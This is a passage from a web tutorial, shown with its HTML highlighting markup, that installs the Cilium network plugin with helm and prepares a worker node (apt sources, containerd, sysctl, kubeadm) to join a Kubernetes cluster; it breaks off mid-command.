#96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo we want \u003ccode\u003e1.11.4\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--namespace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-system\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--version\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.4\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow our node should be ready!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e24\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eTime to join our worker to the cluster!\u003c/p\u003e\n\u003ch2\u003eJoining a worker to the cluster!\u003c/h2\u003e\n\u003cp\u003eWe have to go through the same steps as the controlplane to get the point that we have a\ncontainer runtime and \u003ccode\u003ekubeadm\u003c/code\u003e.   I’m not going to talk about the commands a second time but\nI’ll re-iterate them here for ease of following along.\u003c/p\u003e\n\u003cp\u003eFirst open up another shell and connect to the worker:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eshell\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow run the following commands:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb  http://apt.kubernetes.io/  kubernetes-xenial  main\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-cs\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-ril\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e '\\.rp_filter' /etc/sysctl.d/ /usr/lib/sysctl.d/)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eawk\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-iptables  = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.ipv4.ip_forward                 = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--system\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupgrade\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.io=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.6\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e  [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e   [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e      [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.service\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eFrom there we should be ready to join the cluster.   When we ran \u003ccode\u003ekubeadm init\u003c/code\u003e previously it\nprinted a join command out that we could use but I’m going to show you how to do it if you\nwere coming back later and no longer had that token.\u003c/p\u003e\n\u003cp\u003eBack on the \u003cem\u003econtroplane\u003c/em\u003e node run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: 